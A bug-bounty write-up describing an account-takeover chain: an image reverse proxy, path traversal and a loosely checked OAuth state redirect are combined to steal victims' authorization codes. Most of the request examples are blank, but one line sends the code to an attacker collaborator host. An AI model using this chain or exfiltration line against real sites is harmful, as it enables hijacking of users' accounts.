Recon:

The target scope I had selected was fixed to the main application:

1377.targetstaging.app

In the first phase of my narrow recon approach, I utilized various services like Archive, Google, and Yahoo to extract endpoints and different paths.

However, in this specific target, we needed to set a specific cookie for example usertest=hash, as mentioned in the program's policy, for the website to work.

I opened my Burp Suite and started working with the application, testing its various functionalities and gaining an understanding of how the target operates.

OAuth Authorization Flow:

One of the intriguing sections for a Hunter often revolves around the Authentication parts of the target. It was the first area I encountered, and I began to unravel the core flow of these target sections.

This target included an OAuth section that allowed you to use providers like Google, Microsoft, and Slack to log in to the website. After testing and validating the OAuth flow, I arrived at these five requests:

1. The first request, which redirected me to the company's main website, was as follows:

   

2. The second request, which redirected me to the Google login page after being redirected to the company's main website, appeared as follows:

   

3. The third request, which used the Google provider code to navigate back to the company's main website, looked like this:

   

4. The fourth request, which used the Google code to navigate from the main website to a subdomain, was structured as follows:

   

5. The fifth and final request in the flow authorized us and allowed us to obtain the auth cookie to access our account was formulated like this:

   

After figuring out how it works, I tried different ways to hijack the code, thinking like a hacker. My first idea was to check how the redirect_uri parameters work in the fourth part of the flow to redirect victims to my domain and grab the OAuth Code.

I conducted various tests here, but it seemed that the Regex was completely fixed to the domain of the Company and appeared to be entirely safe. Even if an open redirect was found, there was no way to change the redirect_uri parameter and redirect it.

after a while, I decided to move forward and concentrate on testing other functions of the website.

Change Profile Picture Flow:

After logging into the control panel, I started the process from the profile section. I monitored the requests after each change.

During the update of the profile picture in the 'Update Profile Picture' section, one specific request grabbed my attention:

The first idea that comes to every hacker's mind here is to modify the URL for SSRF. So I inserted the burp collaboration into the AvatarUrl parameter:

I reloaded my profile and saw that a new link had been set for my user setting, and this request came towards the collaboration burp suite:

The point I noticed here is that the browser doesn't directly load the image. Instead, the profile picture's link is given to a reverse proxy, which then loads and displays the image. After carefully checking the requests following the construction of the DOM, I came across this request:

Here, it took the profile picture's link as input, and if the format was an image, it would load.

I performed various tests here, such as changing the protocol to gopher or file, using redirect tricks to change the protocol, using SVG input for XSS or LFI, port scanning, and more.

But here, it seemed completely secure, and at this point, I was out of ideas. I abandoned the system altogether and moved on. :)

Chain Vulnerability Flow:

After a break, I turned on the system and checked my notes. The idea struck me that I have a Reverse Proxy that takes a URL as a path and sends a GET request to the URL with all the necessary info in the URL.

If you observe, in the fifth request of OAuth Flow, where the code is sent in the GET parameter. So If I can somehow redirect step 5 of the flow to this path :

GET /imageProxy/https://attacker.oastify.com/?code= HTTP/1.1

I can receive the code and gain access to the account.

Well, here I took a closer look at the flow, first examining the parameters that my login provider page, which is Google in this case, accepts as valid:

Here we have two important parameters, highlighted in red and green in the above request.

The first parameter is redirect_uri, which couldn't be changed in any way and was completely fixed.

The second parameter is, which accepts any value and can be changed in any way.

The purpose of this parameter was to pass its value to the main company site after provider authentication and obtaining the code.

The main company site would then check the URL inside the state parameter, and if it passed the check function, it would redirect us to this URL with the Provider code. (Fourth request in the flow):

Now, instead of the first URL mentioned earlier, I need to attempt retrieving the code by abusing the Reverse Proxy using a second URL:

Now, I've started working with the checker function, and the regex here appears to be completely safe.

I began working with the regex of the redirect_uri parameter in the state parameter to hijack the code. However, any change resulted in a 403 response, making manipulation challenging, except by adding characters to the path continuation. This means the website accepts a link like this:

Here, I came up with the idea of using path traversal to observe the behavior of the web server.

I saw that it worked, and it took me a directory back. So, I could use this payload above to bring the victim's three directories back and redirect them to the path I wanted, allowing me to obtain the code:

Let's move on to the last payload. Here, I could use both the target.app site and the provider to create a malicious link. Two links could be created in this way:

If ٰVictim's clicking on any of the two links and logging in occurred, I, as an attacker, would receive such a request:

It included the provider code that I could use in the request for a 5-Flow to access the victim's account and DONE.

I hope you enjoy :)